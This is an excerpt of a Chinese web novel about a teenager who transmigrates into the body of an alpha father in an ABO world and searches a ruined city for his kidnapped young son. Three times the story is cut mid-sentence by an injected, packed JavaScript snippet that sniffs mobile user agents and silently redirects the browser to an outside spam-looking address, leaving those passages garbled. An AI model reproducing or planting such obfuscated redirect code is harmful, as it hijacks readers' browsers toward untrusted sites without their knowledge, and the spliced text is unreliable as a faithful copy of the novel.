《反派他爸不好当》 1. 喜当爹 嘀嗒。 耳边有水声响起。 程书阑睫毛微颤,意识尚未完全清醒,一股钝痛自脑内深处炸开。 他忍不住喘了口气。 好痛。 全身上下都在叫嚣,但脑袋上的痛更强烈,活像被人敲了一棍。 他还没睁眼,就有什么东西扑了上来。 “爸爸!”稚嫩的哭声在耳边响起,是个小孩的声音,趴在他身上,哭得上气不接下气。 程书阑:“……” 他呛出一口气,勉强掀开眼皮,昏暗的视野里,只有一张哭花的小脸格外清晰—— 还真是一个小孩。 一个看上去四五岁大的小男孩。 见他醒来,小孩眼睛一亮,带着哭腔又喊:“爸爸!” “……”程书阑盯着那张惨白的小脸,喉结滚动,勉强挤出一句话,“你快……压死我了……” 小孩闻言,像受惊的兔子般弹起身。 身上的重量消失,程书阑缓了口气—— 当然并没有缓上多少。 浑身还是痛。 他怀疑自己快死了。 他头一次觉得自己身体像一块笨重的石头,或者四肢都被灌满水泥,根本动不了分毫,他拼尽全力,却只能将右手的小拇指稍微抬起一点。 “爸爸……”小孩跪坐在一旁,努力憋住抽泣,眼泪在通红的眼眶里打转,要掉不掉。 这一刻,程书阑后知后觉地意识到什么,沙哑着声音问:“你叫我什么?” “爸爸!”小孩打了个哭嗝,再也压不住情绪,“爸爸你别死……我好害怕呜呜呜……” “……” 程书阑两眼一黑,又昏了过去。 不知道过去多久,程书阑在剧烈的头痛中苏醒,他的脸颊滚烫,喉咙干得冒烟,但身上的钝痛减轻了些。 那个叫他爸爸的小孩不知所踪。 借着窗外透进来的微光,他看清自己躺在一间废弃的屋子里,这里显然很久没住过人,墙皮剥落,蛛网密布,霉斑像丑陋的疤痕爬满天花板。 嘀嗒—— 渗漏的雨水从墙角往下落。 外面传来淅沥的雨声,潮湿发霉的气味裹着空气中飘散的灰尘颗粒,在他的鼻腔里发酵。 这下程书阑可以确定自己没在做梦,而是穿进了一本书里,在他昏睡时,书里的内容和原主的记忆交替浮现。 突然有脚步声响起。 程书阑无法偏头,但能听到门被推开的声响。 很快,一个湿漉漉的小脑袋探进视线里。 是那个小孩。 他浑身被雨水浇透,黑发紧贴头皮,水珠顺着尖下巴不断滴落,巴掌大的小脸无比惨白,衬得那双圆眼大得惊人。 房间里也冷飕飕的,小孩嘴唇发青,身体抖得厉害。 发现程书阑醒了,小孩脸上扬起笑容,眼里都放着光,他高兴地喊:“爸爸,你醒了!” 程书阑看着小孩,试探着问:“诸珠?” 如果他没认错的话,小孩的名字叫诸珠。 “爸爸!”小孩大声回应,话音未落,眼里就已包上泪水,他呜咽着说,“爸爸,我们在哪里?你什么时候才能好起来?我想回家了呜呜呜……” 程书阑本就头痛,听到哭声,只觉脑袋都要炸开了。 “别哭了。”他说。 诸珠一僵,哭声戛然而止,似乎怕他生气,小孩还抬手捂住了自己的嘴巴。 动作间,藏在衣服里的东西掉到地上。 诸珠这才反应过来,连忙捡起来放在自己腿上,他手是湿的,在湿衣服上擦了半天也没擦干,便很用力地甩了甩,想把上面的水甩掉。 程书阑看着诸珠又把手举到嘴边,鼓起腮帮子认真吹了许久,然后拿起一袋面包。 面包一直藏在湿衣服里,包装袋上沾了水,有些滑,诸珠试了几次都没撕开,最后是用牙齿咬开的。 “爸爸,我喂你吃。” 诸珠从袋子里挤出面包,双手捏着,递到程书阑嘴边。 程书阑看了一眼包装袋上那些疑似小孩口水的不明液体,沉默片刻,说道:“你自己吃。” 不是他不饿。 他太渴了,喉咙和脸颊都烧得要命,要是这么吃下一口,估计能直接噎过去。 诸珠看他拒绝,有些急了,把面包往他嘴上怼了怼:“爸爸吃,我不吃,我不饿。” 说完,小孩的肚子立刻发出响亮的抗议。 不饿才怪。 “我口渴。”程书阑说,“有水吗?” “有的有的。”诸珠把面包收回袋子里,放到腿上,拿起一瓶矿泉水,又开始艰难地拧瓶盖。 矿泉水的瓶盖上也沾了水,比面包的袋子还滑,诸珠一会儿用手拧一会儿用牙咬,瓶盖上全是他的唾液。 程书阑简直没眼看。 半晌,诸珠龇牙咧嘴地拧开了被咬得变形且上面都是牙印的瓶盖,他小心翼翼地往瓶盖里倒了点水。 “爸爸喝水。”诸珠将瓶盖递到程书阑嘴边。 “……”程书阑尽量不让自己的目光扫到瓶盖上,连着喝了几盖水,火烧般的喉咙有所缓解。 诸珠拧上瓶盖,又问:“爸爸吃东西吗?” “你吃。”程书阑说。 诸珠的肚子叫了好几次,刚才看着干巴巴的面包,咽了几次口水,小孩又冷又饿,听程书阑这么说,便拿起面包小口啃了起来。 不过啃的速度极快。 程书阑也就歇了歇的功夫,半个面包没了。 诸珠把剩下的面包包好,对程书阑说:“爸爸,我给你留了一半,要是你想吃,我喂你吃。” 程书阑没有回答,他的意识变得模糊,各种碎片化的信息飘来荡去,他消化得极为吃力。 许久,他才找回说话的力气。 “你找找这里有没有干衣服,把你的头发擦一下,最好把你身上的湿衣服也换了。” “好。”诸珠把面包和水放到地上,起身在房间里翻找起来。 房间里什么都没有。 小孩便找去了别的房间。 程书阑也开始昏昏欲睡,那股灼热感卷土重来,且来势汹汹,他不知道自己后面睡了多久,半梦半醒间,他又听见了诸珠的哭声。 诸珠又往他嘴里倒水又往他嘴里塞面包。 程书阑很想睁眼,可他控制不了自己的身体,他连唯一能动的手指都动不了。 他好像在下坠。 下面有一口巨大的油锅,通红的火舌舔着锅底,他有种自己还没掉下去就要被活活烫死的感觉。 好热。 好像被人架在太阳上,下一秒就要融化掉。 程书阑从没这么煎熬过,他拼命想要从束缚中挣脱,可他什么都做不了,只有下坠的速度越来越快…… 越来越快…… 最后他掉进了滚烫的油锅里。 刹那间,万物归于寂静。 小孩的哭声没了。 水声没了。 窗外淅淅沥沥的雨声也没了。 铺天盖地将他淹没的灼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647792|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热感骤然消失,他感觉到了些微的凉意,仿佛有层薄纱覆上他的身体,替他扫去了所有不适。 程书阑睁眼看见一缕光从窗外倾斜而下,他下意识地动了动手指,发现整条手臂都能慢慢使上劲了。 身体也恢复了些力气。 他手肘用力,艰难地在地上翻了个身,只这么一个动作,就让他气喘吁吁。 挪到墙边坐好,他几乎用尽全部力气,缓了许久,快要撞出胸膛的心脏终于恢复平静。 这具身体太虚弱了。 受伤加上受凉发烧,在他穿过来前,可能已经在这个地方躺了几天几夜,如果原主不是身体素质更好的alpha,而是beta或者omega,估计程书阑刚穿过来就嗝屁了。 是的。 这是一个abo的世界。 程书阑用混沌的大脑整理出了一些思绪,这本书里有一个身份尊贵的主角攻,是个alpha,还有一个从小流落在外的主角受,是个omega,主角攻受在出生前定了娃娃亲,可惜主角受出生后不久就失踪了,家族寻找无果,为了维持姻亲关系,让主角受的堂哥也就是炮灰受顶上去。 炮灰受也是一个omega,是家族里最不受宠的一个,他的omega爸爸死得早,alpha爸爸是个精神力连C级都够不上的废柴,炮灰受喜欢主角攻,一直以主角攻未婚夫的身份自居,然而十多年后,主角受被找回来了,并在一场宴会上和主角攻相遇,彼此一见钟情。 结果可想而知,炮灰受和主角攻的婚事被取消,他眼睁睁看着主角攻受订婚、结婚、生子一条龙,然后黑化。 炮灰受做了不少丧尽天良的事,下场自然凄惨。 很不幸的是—— 程书阑就穿成了这个炮灰受…… 的alpha爸爸。 程书阑:“……” 但很奇怪的是,原主的记忆里压根没有诸珠的存在,甚至还没发展到和诸珠的omega爸爸结婚的地步,原主和他一样大,也是今年18岁,才通过特殊考试成为厄瑞涅国主城军事学院的大一新生。 军事学院在每年秋冬交替时都会举办一场大规模的训练,除非必要情况,所有大一新生必须参加。 训练由主要负责外城的巡逻和防御的诸家带头组织,将所有参加训练的大一新生随机投放到各个外城,训练为期三个月,从今年11月到来年1月,校方每日都会发布固定任务和随机任务,都和清理感染源有关,完成任务即可获得积分,等三个月结束,校方会按照总积分的高低公布排名情况。 原主被投放在了第9城,这里资源匮乏,到处都是污染源,按理说是个刷积分的好地方,可架不住原主是个废柴alpha,连每日任务都完成不了。 这天,原主准备离开第9城,却意外中了他人的埋伏。 那个人戴着头盔,看不见脸,肩膀上扛着一个火箭炮,二话不说轰向原主。 原主残血逃跑,躲进这栋废弃大楼里,勉强捡回一条命。 就在这个节骨眼上,程书阑穿过来了。 然而不久前,程书阑还坐在午间的教室里,刚复习完书上的内容,准备趴在课桌上睡一会儿。 前面的黑板上还挂着高考的倒计时,只剩211天。 程书阑不知道自己靠在墙边坐了多久,窗外的光逐渐消散,黑暗降临,等天再次亮起,他依然没有理出头绪。 脑子里很乱。 不过他唯一确定的是—— 那个小孩已经很久没回来了。 小孩失踪了。 2. 小孩失踪 程书阑扶着墙,艰难地站起身。 原主伤得不轻,被炸飞了几米远,作战服破烂不堪,防护功能全无,只剩下勉强蔽体的作用。 以这种重伤程度,没在医院里休养上几个月就能自己爬起来,不得不说,alpha的身体素质确实远远超出了程书阑的认知。 他撑在墙上,把自己从头到脚检查了一遍,他满身是伤,其中两处伤得极深,皮肉翻裂开来,甚至能看见血肉模糊的皮下组织,可惜作战服材质特殊,沾满了干涸的血块和灰尘,难以撕开,他只能暂时放弃处理伤口。 程书阑走路还很困难,步履蹒跚,每走几步就得停下来喘口气,好在最终还是慢慢挪到了大门口。 他推开防盗门。 门外是一条狭长的走廊。 这栋楼很像他曾经见过的公寓楼,每一层都有十几二十户人家,统一朝向走廊开门。 但这里废弃多年,走廊上积灰厚重,前几天又下了雨,雨水斜飘进来,地面湿滑泥泞,混杂着灰尘的水洼遍布各处,几乎无处落脚。 程书阑向外望了一眼。 外面的景象与原主记忆中的第9城相差无几,由于植物稀缺,整座城市呈现出灰白与黑交织的色调,楼宇密集,从高处俯瞰,压抑得令人窒息。 今天的天气依旧阴沉,乌云密布,能见度极低。 程书阑在地上发现了诸珠的脚印,有去有回,脚印多而杂乱,显然是来回跑了多次。 他顺着脚印来到走廊一侧,发现它们一路延伸至楼梯下面。 这座大楼很高,却没有任何电梯,只有螺旋状的楼梯。 程书阑略一犹豫,还是跟着脚印下了楼,只是他体力不支,下楼的速度极为缓慢,下完六层,眼前就已一阵发黑。 楼下空无一人,脚印也在一楼尽头戛然而止。 他四处寻找一圈,毫无收获,最终走向不远处唯一开着的一家超市。 超市不大,门窄得仅容一人通过,程书阑刚走进去,电子门铃便叮铃铃地响。 柜台后坐着一个女人,正低头织毛衣,听见声音,她抬起头:“要买什么?” 话音未落,她看清了程书阑浑身是血的模样,脸色骤变,猛地站起。 “出去!” 她扔掉手里的东西,拉开抽屉,迅速抄起一把手枪。 眨眼间,黑洞洞的枪/口对准了程书阑的脑袋。 程书阑被女人激烈的反应吓到,大脑来不及做出思考,身体已配合地往后退了数步。 动作太急,他只觉得一阵天旋地转,几乎站不稳。 “我……我没想干什么……”他气喘吁吁,“我只是在找人…… 女人闻言,警惕中多了一丝狐疑,她从枪后探出头,仔细打量了程书阑一番,才缓缓放下手枪。 “原来不是。”女人松了口气,走到程书阑面前,上下打量着他,“抱歉啊,我以为你是感染者。” 程书阑知道“感染者”,顾名思义就是那些被不明病原体感染的人类,与变异生物一同被称为“感染源”。 他缓了口气,低声问:“请问你有没有见过一个四五岁的小男孩?穿着黑色背带裤,里面是一件白色毛衣。” 女人一听,立刻来了反应:“哦,是不是这么高?” 她拿着手枪比了个腰间的位置。 “眼睛很大,头发有些长?”她又补充道。 “对,就是他。”程书阑问,“你见过他吗?” 女人沉默,盯着他看了几秒,忽然问道:“他是你弟弟?” 程书阑没料到女人会问这个,一时没反应过来。 女人倒是聪明,居然看出了些什么,话锋一转:“哦,他是你儿子啊?” “……”程书阑不久前还是一个正经高中生,实在不想承认自己有个这么大的儿子。 片刻,他才开口:“算是吧。” “算是?”女人发出一声嗤笑,“你看着也不大,二十都不到吧?这么早就当爸了。” 她回到柜台后,放好手枪,捡起地上织了一半的毛衣。 “那孩子来店里偷过好几次东西,每次都被我抓到,看着可怜,我就放他走了。”女人说,“没想到他还有家长,你来得正好,把之前欠的账结了吧。” 程书阑:“……” 女人拿出一个计算器,啪啪一顿按。 “278信用点。”她指着柜台上一个小圆片,“在这里刷。” 程书阑在身上一阵摸索,摸到了一个不足巴掌大小的黑色通讯器,原主携带了两个通讯器,一个是学校发的,一个是私人用的。 学校发的那个早在遇袭时被炸没了,剩下这个也没了外壳,不知道能不能用。 程书阑按照原主的记忆操作了下,然后将通讯器贴到小圆片上。 试了两三次,电子音才响起:“已支付278信用点。” 女人看向程书阑。 她并不惊讶对方这副模样,只要不是感染者就行,她对在第9城发生的任何事都不感到意外。 很多人今天还活蹦乱跳,明天就死了,或者像感染者那样半死不活。 这就是外城人的生活常态。 “你伤得很重,衣服也烂了,需要药包吗?大的600信用点,小的400信用点,我这里还有衣服,应该可以找到你能穿的……” 程书阑双手撑在柜台上,打断女人滔滔不绝的话:“你是不是见过那个小孩?你知道他去哪儿了吗?” 女人收起话头,重新坐回椅子上。 “我是见过他。”她说,“但都是几天前的事了,那些天一直下雨,他连伞都不打,跑进店里偷面包,结果被我抓住,问他什么都不说,只会哭。” 几天前? 原来过去那么久了。 程书阑不知道自己昏睡了多久,时间对他来说模糊不清,他追问道:“然后呢?” “没然后了。”女人没好气地说,“面包都被他捏变形了,卖不出去,他又付不起钱,我能怎么办?” 说完,女人又安慰他。 “现在时间还早,说不定你儿子只是出去玩了,中午就回来了,你还是先照顾好自己吧,流了这么多血,万一遇到感染源就完了……” 程书阑低声道:“他昨晚就没回来。” 女人一怔,顿时坐直身体,也拔高了声音:“昨晚?都过去这么久了,你才想起来找他!” “我之前受了伤。”程书阑解释。 女人看他一眼,想说什么,又咽回去了,思考片刻,她站起身问:“你最后一次见到他是什么时候?” “不清楚。”程书阑说,“他白天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647793|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候就不在了。” “也就是说你儿子失踪了有一天一夜。”女人说,“他平时到点都会自己回家吧?” 程书阑哪儿知道这些? 他又不是那个小孩真正的爸爸。 但话说回来,原书里的原主也不见得对诸珠有多好,从小非打即骂,各种贬低,所以诸珠才会在长大后那么嫉恨被找回来后受尽宠爱和关注的原主受,也拼了命地要和原主受抢原主攻。 不过他在昏睡时能感觉到诸珠给他喂了很多次水,小孩知道从外面偷东西给他,应该也不会乱跑吧? 至少不会一天一夜不回来找他。 想到这里,程书阑心里有了不好的预感。 女人观察着他的表情,突然说道:“你在通讯器上搜索‘沃斯诊所’,过去后面向诊所往左绕,会看到一栋被涂成褐色的楼,上面有一个‘星星旅馆’的招牌,招牌下面有一个院子,你可以趁晚上他们休息的时候翻进去,也许能在里面找到你儿子。” 程书阑愣道:“什么意思?” “你儿子可能被拐走了。” 女人也不绕弯子,直白地说。 “那边有个姓李的,专门做小孩买卖,从其他地方拐了小孩过来,听说大部分送去了内城,不知道送到了哪里,但想也知道不是什么好去处,他一般不拐这附近的小孩,你们刚搬过来吧?你儿子一个人在外面跑,又是一张生面孔,要是遇到那个姓李的,被拐也就是顺带的事。” 女人靠回椅子上,看程书阑脸色难看,转而又说。 “但这只是我的猜测,你也可以再到处找找,万一找到了呢?反正别把希望寄托在那些管理员身上,他们可不会帮你找孩子,也对那个姓李的睁一只眼闭一只眼。” 程书阑有心打听那个姓李的人的更多信息,可女人摆了摆手,不再多说。 离开前,程书阑还是买了一套衣服和一个大的药包。 药包是一个装得鼓鼓囊囊的塑料袋,里面有止血凝胶、止痛药、营养补充剂等,还有一些简单的缝合工具,酒精和消毒水也都各有一大瓶。 程书阑让女人帮他清理了伤口,但没做更多的处理,穿上衣服,提起塑料袋,便走出了超市。 他回到大楼前,坐到楼梯上,开始捣鼓没了外壳的通讯器。 记忆中通讯器可以在半空中投射出一块半透明的屏幕,可他点了半天都没反应。 通讯器的小屏幕右上角的信号显示断断续续。 程书阑第一时间点进通讯软件。 列表里最后一个发来消息的人是程家的管家,时间是十多天前,原主向管家报了平安,管家叮嘱了很多话。 记忆中原主和管家的关系最好,原主几乎是管家一手带大的。 程书阑尝试拨去语音。 信号是有,可几通语音都被自动挂断。 再拨过去,屏幕上直接显示“失败”两个字,他抬眼看去,只见代表信号的三条竖线全变灰了。 还好地图能用,程书阑试着搜索了下去沃斯诊所的距离,屏幕上很快显示出一条4.6公里的路。 他盯着小屏幕看了一会儿,随即拿着通讯器到处找信号,可那三条竖线始终是灰色的。 半晌,他放下手,慢慢从楼梯上站起来。 不管怎样,得先找一下那个小孩。 3. 被拐 程书阑跟着地图的指引往前走。 这个世界和他想象中很不一样。 他所在的国家名叫厄瑞涅国,由一座主城以及向外辐射开来的十二座城组成,除主城外,其他城都以数字命名。 包括第5城在内的以上几城为内城,有军队二十四小时轮值,居民们的安全在很大程度上得到保障,第5城以下为外城,住在外城的人鱼龙混杂,没有治安可言,且在外城极易遇到感染源,内城居民除非必要,不会轻易踏足外城。 厄瑞涅国由王室统治,下面有一个诸家以及安、程、裴、池四大家族,加上拥簇他们的那些中小家族,组成了厄瑞涅国的贵族圈层。 原主便是其中程家的长子。 不过原主在家族中并不受宠,虽然是个alpha,但是精神力只有D级,且这十几年来没有任何增长,以原主的资质,如果没有家族关系,压根进不去主城军事学院。 原主还有一个同父异母的alpha弟弟,名叫程书意,是原书里主角受的alpha爸爸,和原主比起来,程书意集齐了所有优点。 最重要的是—— 程书意的精神力已在今年升到B+,突破A级是迟早的事,早就远超其他同龄人一大截。 而且程书意也是今年的军事学院大一新生,换句话说,程书意也在这次的训练中。 程书阑停下来休息,因为想得太多,他有些头昏。 也可能是之前失血过多。 地图上显示距离沃斯诊所还有2公里,这段路对以前的他来说不算什么,可现在走走停停,龟速前行。 深冬即将来临,前些天又下过雨,吹来的风都冷飕飕的。 一路上没什么人。 偶尔碰到几个也是从头到脚全副武装,看也不看他一眼,低头匆匆而过。 直到走近沃斯诊所,视线里的人才一下子增多。 沃斯诊所位于十字路口,大门往两边敞开,从里面排了一条长龙出来,都是穿得灰扑扑的居民们,和程书阑不久前碰到的那些人一样,宽大的围巾裹住了头和脸,只露出一双眼睛和半边鼻子。 程书阑走上楼梯,只见队伍排进了一间办公室里。 一个裹得比居民们更厚的女生拿着名单站在办公室门外,瞧见了探头探脑的程书阑,她用手里的笔指向他。 “喂。”女生厉声喝道,“你不能插队,去后面排队。” 程书阑转身要下楼梯。 女生又喊住他:“等等。” 程书阑只好停下。 女生几步走过来,表情严肃,仔细观察程书阑的脸,片刻,像是确定了什么,她的眉眼略有放松。 “好了,去排队吧。”她说。 程书阑想也知道自己又被当成感染者了,他现在确实虚弱,被怀疑也不奇怪。 但那些居民一直都没正眼看他,眼神浑浊而麻木。 程书阑没有过去排队,而是按照超市老板所说,往诊所左边绕去,没走多久,果然看到一栋被涂成褐色的楼。 楼的一侧挂着一个“星星旅馆”的竖向招牌。 招牌下面有一个被围起来的院子,看不出面积大小,但围墙不算高,目测只有一米多长,很容易翻过去,墙头也没镶嵌碎片之类的防贼措施。 程书阑顾及自身情况,不敢轻举妄动,沿着围墙继续绕,很快找到另一头的铁门。 铁门紧闭,上面挂着一把锃亮的大锁。 程书阑确认四下无人,便轻手轻脚地走过去往里望。 里面空荡荡的,只停了一辆被涂鸦成黑白色的皮卡车,车身很脏,溅满污泥,像是前些天在外面跑过,没来得及清洗。 院子三面都是围墙,剩下那面由旁边那栋褐色的楼组成,墙壁正中间嵌了一扇将近两米高的深绿色防盗门。 防盗门也是紧闭状态。 程书阑看了半天,没看到一楼的窗户,防盗门上面的楼层倒是有窗户,但都被木条从里面封死了,什么都看不到。 就在这时,防盗门里冷不丁地传出轻微声响。 程书阑心头一紧,连忙往旁躲到围墙后面。 下一秒,就有一阵脚步声和说话声一起传来,院子里十分安静,因此他能清楚听见里面的动静,有两个人从楼里出来,正在边走边说话。 “这批货物够了吧?什么时候送过去?”一道粗犷的男声开口。 “你急什么?” 另一个人的声音又尖又细,有些刺耳。 “几天前才送了一批过去,这才多久,又给他们送?”尖细男声说,“再说了,东西贵精不贵多,我们这次可是捞着一个宝贝,上赶着把宝贝送过去,还赚个屁的钱,等老大多联系些人,让他们竞价,价高者得,反正宝贝在我们手里,不怕找不到买家。” “你说得是。”粗犷男声嘿嘿一笑,“我在第9城呆了这么久,污染源见得多,可omega还是第一次见,和传说中没什么不同嘛,要不是老大眼睛尖,我就当成小beta来处理了。” “omega也有精神力,你别掉以轻心。”尖细男声提醒。 “有精神力又怎样?他等级再高也只是一个小孩,我一只手就能把他捏死。”粗犷男声不以为然。 两人走到车前,先后打开车门。 程书阑听到这里,猜到那两个人要开车出来,准备找个地方躲起来。 就在这时,一只手突然拍在他的肩膀上。 程书阑吓得心里咯噔一下,在感受到那只手抓在自己肩膀上的力道后,他后背的冷汗唰的一下全冒出来了。 扭头就见一个长得极为高大的男人。 男人皮肤黝黑,有着一身结实的肌肉,从眼皮到嘴角有一条伤疤,像蜈蚣一样,占据了右半边脸,那双眼睛呈倒三角形,冷冷盯着程书阑。 程书阑:“……” 毫无疑问,如果发生冲突,此时此刻的他没有任何胜算。 哪怕对方很有可能只是一个beta。 在原主的记忆中,从未出现过这么魁梧的beta。 beta没有精神力,各方面条件都不如占有先天优势的alpha,当然也有例外,不过那些万里挑一的优秀beta都会被主城里的各个部门招揽。 “你找谁?”男人语气不善。 程书阑喉咙发紧,脑子却在疯狂转动,很快,他回答道:“我找沃斯诊所。” 男人无动于衷,也没拿开放在他肩膀上的手,半晌,说了一句:“你不住这里。” 程书阑说:“我刚搬过来。” 男人没有接话,将他从头到脚地扫了一遍,问道:“从其他城来的?” 程书阑点头。 “遇到感染物了?” 程书阑一愣,随即反应过来男人在说他的伤——身上的是被衣服遮住了,但脸上和手上的还露在外面。 他讪笑下:“确实在路上遇到了一些麻烦。” 男人拿开手,指向程书阑身后:“右转,十字路口。” 程书阑草草道完谢,转身便走。 他回到主路,匆匆赶回沃斯诊所,由于走得太急,身上的伤处被动作牵扯,每走一步都痛得他直冒冷汗。 停下脚步,他眼前一阵晕眩,强撑着才没让自己倒下。 松开提着塑料袋的手。 手心里都是冷汗。 程书阑没敢在沃斯诊所外面逗留太久,马不停蹄地往回走了。 一来一回将近10公里的路,加上中间耗费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647794|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时间,他几乎用了一天。 回到那栋废弃楼下,天色已暗,这一带路灯稀少,少数几盏亮着微黄的光,连程书阑脚下的路都照不清楚。 相比之下,那家超市里透出的白炽灯光分外明亮,简直像是沙漠深处的一片绿洲。 程书阑走进超市,电子门铃响起,他看到女人坐在柜台后面,依然在手速飞快地织着毛衣。 余光里瞥见他,女人头也没抬,还是那句话:“要买什么?” 超市里摆了两个超大货架,堆满杂七杂八的生活用品,但食品区略显寒酸,程书阑逛了一圈,挑了六个面包和一大桶矿泉水。 他把东西放到柜台上。 女人扫了一眼,没拿计算器,直接说道:“76信用点。” 程书阑摸出通讯器,这里的信号似乎要好一些,小屏幕的右上角显示出了最短的那条竖线。 可等他将通讯器贴上小圆片,电子音提示:“交易失败。” 女人投来目光。 程书阑尴尬地拿回通讯器,点了几下,重新贴过去。 “交易失败。” 他拿起通讯器一看。 信号又全灰了。 程书阑:“……” “算了算了,你把东西拿走,不收你钱。”女人挥手,“父子俩一个样,自己都困难成这样了还生孩子,让孩子跟着你受罪。” 程书阑听得耳根发烫,提着一堆东西灰溜溜地出去了。 他咬牙爬回之前的楼层,回到屋子里,拍了拍客厅里唯一剩下的那张旧沙发,灰尘满天飞,呛得他直咳嗽。 他索性放弃,一屁股坐到不知道堆了多少陈年老灰的沙发上。 闭上眼睛,不多时,意识被淹没在了铺天盖地的倦意中。 第二天,程书阑是被饿醒的,他一口气吃完昨晚剩下的面包,灌了半肚子水,犹觉不够,便将药包里的营养补充剂也翻出来吃得一干二净。 营养补充剂是几管白色的半透明液体,长度刚好够上一个巴掌,不知道是不是比较廉价的原因,吃起来有种塑料感,当液体滑进喉咙里时,程书阑恶心得几乎反胃。 不过饱腹感确实有。 几管营养补充剂下肚,胃里那种灼烧般的感觉明显在慢慢消散。 他拿出通讯器看了看时间。 上午十一点。 这一觉睡了十几个小时。 许是大脑得到了充足的休息,他混沌的思维变得清晰不少,尽管身上痛感还在,却已不如昨天那般强烈。 通讯器依然没有信号。 程书阑倒是想起什么,在地图上搜了一下第9城的安全点。 学院在每座城里设立了安全点,学生们遇到任何意外情况,都可以用学院发的通讯器联系安全点,然后在原地等待救援即可。 然而现在程书阑没有这个条件。 就算他的私人通讯器能用,也无法联系学院的安全点,唯一的办法是他自己找过去。 只是—— 程书阑看着地图上显示出来的305公里的距离,沉默许久,绝望地仰了下头。 这么远的路自然不可能走着去,可乘坐交通工具的话需要信用点,要是他的通讯器能用,他肯定是第一时间联系程家的管家。 这么一来,事情陷入了死循环。 思考片刻,程书阑起身拍掉身上的灰尘,决定先去沃斯诊所那边看看。 虽然那些人不急着卖掉诸珠,但是以防万一,他还是得过去盯着。 而且他还不能确定那个小omega就是诸珠。 下了楼,不知怎的,昨天还漫长如跋涉的四五公里的路,今天竟然走得颇为轻快。 才用一个多小时,便已到达沃斯诊所。 4. 冒充 天空上依然笼着一层阴霾。 沃斯诊所外面还是排着长龙,程书阑绕过诊所,来到那栋眼熟的褐楼外面。 大门在围墙另一头,想要过去,需要绕过围墙和另一栋楼之间的巷子。 昨天程书阑就是从那条巷子进去的。 他原以为巷子尽头通往褐楼那头的街道,进去后才发现尽头是一堵用杂乱的砖头砌起来的墙,那头的路被堵死,里面的人想要出来,只能从那条巷子出来。 不对。 还有那栋褐色的楼。 程书阑往前绕了半圈,很快找到褐楼的大门。 那栋褐楼像是一栋公寓,一楼大厅的面积很小,一个老头坐在破旧的木桌后面,抱着双臂打瞌睡,不知道有没有听见他的脚步声,他走进去后,老头连眼皮都没抬一下。 程书阑看到老头背后的墙上挂了一张巨大的楼层索引图,其中一到六层都被做成了旅馆房间,名字就叫“星星旅馆”。 “要入住吗?” 程书阑的思绪被打断,他才注意到老头不知何时睁开了眼。 他想了一下,问道:“住宿多少钱?” “有大中小三种房间,大的399信用点,中的299信用点,小的199信用点。”老头说。 “小的有多小?” 老头似乎被问多了这种问题,并不觉得烦,只是也没有从椅子上站起来的意思。 “你自己去看。” 老头指了一下右边。 “白色门牌是小的,灰色门牌是中的,黑色门牌是大的,门关着说明有人住,空房的门都开着,你看好哪一间过来把信用点刷了,做个登记,楼上的房间都是一样的,也可以去楼上选。” 木桌右边就是走廊入口,里面光线昏暗,每隔两三米才有一盏小灯照明,旅馆的生意应该不是很好,只有几扇门关着,大多房间门都半敞开着。 程书阑有意往院子的方向走,可走廊七拐八绕,里面房间又多,他走到后面,都有些分不清方向了。 他仔细看了许多房间,发现这里还真是旅馆的布置,丝毫不像是一个藏人的窝点。 不过也许他们不在这里藏人。 难道这里只是一个据点? 程书阑检查完墙壁,便放下窗帘,房间里没有窗户,窗帘就是摆设,掀开后只能看到一堵墙。 他转身往外走。 刚拉开虚掩着的房间门,突然听见外面传来一阵有些杂乱的脚步声,本来模模糊糊,听不真切,但门一拉开,声音一下子就变得清晰起来了。 程书阑身体的反应速度快过大脑,他立即后退一步,轻手轻脚地把门掩了回去。 他屏住呼吸,将耳朵靠近门缝。 脚步声是朝这边来的,只用两三秒的时间,就走到了他所在的房间门外。 不过那些人没有说话,也没有停留。 程书阑侧身贴着墙壁,透过门缝往外看,看到了两个男人的背影,一个男人戴着帽子,一个男人穿着浅灰色的格子大衣。 这时,大衣男忽然偏头对旁边的人说了句话。 程书阑看着大衣男的侧脸,很快认出了男人的身份——莱特医生。 那是沃斯诊所里唯一的医生。 而沃斯诊所是这一带唯一会为居民们提供免费体检的地方,这是沃斯诊所外面每天都排着长龙的主要原因。 程书阑今早特意打听过这些消息,他记得自己来的时候,莱特医生还在诊所里工作,怎么转眼就跑来这里了? 他推开门,小心翼翼地跟上去。 莱特医生和帽子男还在交谈,然而他不敢靠得太近,所以什么都没听到。 见莱特医生和帽子男在大楼门口停下,程书阑也赶紧找了个地方躲起来。 老头坐的木桌左侧正好放了一个半人多高的盆栽,里面不知道种的什么植物,绿叶舒展,生得很茂密。 